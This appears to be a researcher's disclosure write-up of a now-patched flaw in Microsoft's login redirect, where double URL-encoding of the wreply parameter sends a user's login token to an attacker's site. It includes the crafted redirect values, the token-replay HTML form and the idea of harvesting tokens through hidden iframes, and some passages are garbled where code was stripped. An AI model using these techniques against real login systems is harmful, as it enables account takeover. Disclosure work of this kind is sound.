This is pretty similar to Wes’s awesome OAuth CSRF in Live, except it’s in the main Microsoft authentication system rather than the OAuth approval prompt.
Microsoft, being a huge company, have various services spread across multiple domains (
*.live.com, and so on).
The flow for outlook.office.com is as follows:
- User browses to https://outlook.office.com
- User is redirected to https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&wreply=https%3a%2f%2foutlook.office.com%2fowa%2f&id=260563
- Provided that the user is logged in, a POST request is made back to the value of
wreply, with the form field
tcontaining a login token for the user:
- The service then consumes the token, and logs the user in.
Since the services are hosted on completely separate domains, and therefore cookies can’t be used, the token is the only value needed to authenticate as a user. This is similar-ish to how OAuth works.
What this means is that if we can get the above code to POST the value of
t to a server we control, we can impersonate the user.
As expected, if we try and change the value of
wreply to a non-Microsoft domain, such as
example.com, we receive an error, and the request isn’t processed:
Fun with URL-Encoding and URL Parsing
One fun trick to play around with is URL-encoding parameters multiple times. Occasionally this can be used to bypass different filters, which is the root cause of the bug.
In this case,
wreply is URL-decoded before the domain is checked. Therefore
https://outlook.office.com/, which is valid, and the request goes through.
<form name="fmHF" id="fmHF" action="https://outlook.office.com/?wa=wsignin1.0" method="post" target="_self">
What’s interesting is that when passing a value of
https%3a%2f%2foutlook.office.com%252f an error is thrown, since
https://outlook.office.com%2f isn’t a valid URL.
@example.com doesn’t generate an error. Instead, it gives us the following, which is a valid URL:
<form name="fmHF" id="fmHF" action="https://firstname.lastname@example.org/?wa=wsignin1.0" method="post" target="_self">
If you’re wondering why this is valid, it’s because the syntax of a URL is as follows:
From this you can tell that the server is doing two checks:
The first is a sanity check on the URL, to ensure it’s valid, which it is, since
outlook.office.com%2fis the username part of the URL.
The second is to determine if the domain is allowed. This second check should fail -
example.comis not allowed.
It’s clear that server is decoding
wreply n times until there are no longer any encoded characters, and then validating the domain. This sort of inconsistency is something I’m quite familiar with.
Now that we can specify an arbitrary URL to POST the token, the rest is trivial. We set the redirect to
email@example.com%2fmicrosoft%2f%3f, which results in:
<form name="fmHF" id="fmHF" action="https://firstname.lastname@example.org/microsoft/?&wa=wsignin1.0" method="post" target="_self">
This causes the token to be sent to our site:
Then we simply replay the token ourselves:
<form action="https://outlook.office.com/owa/?wa=wsignin1.0" method="post"> <input name="t" value="EgABAgMAAAAEgAAAAwAB..."> <input type="submit"> </form>
Which then gives us complete access to the user’s account:
Note: The token is only valid for the service which issued it - an Outlook token can’t be used for Azure, for example. But it’d be simple enough to create multiple hidden iframes, each with the login URL set to a different service, and harvest tokens that way.
This was quite a fun CSRF to find and exploit. Despite CSRF bugs not having the same credibility as other bugs, when discovered in authentication systems their impact can be pretty large.
The hostname in
wreply now must end in
%2f, which gets URL-decoded to
This ensures that the browser only sends the request to the intended host.
- Sunday, 24th January 2016 - Issue Reported
- Sunday, 24th January 2016 - Issue Confirmed & Triaged
- Tuesday, 26th January 2016 - Issue Patched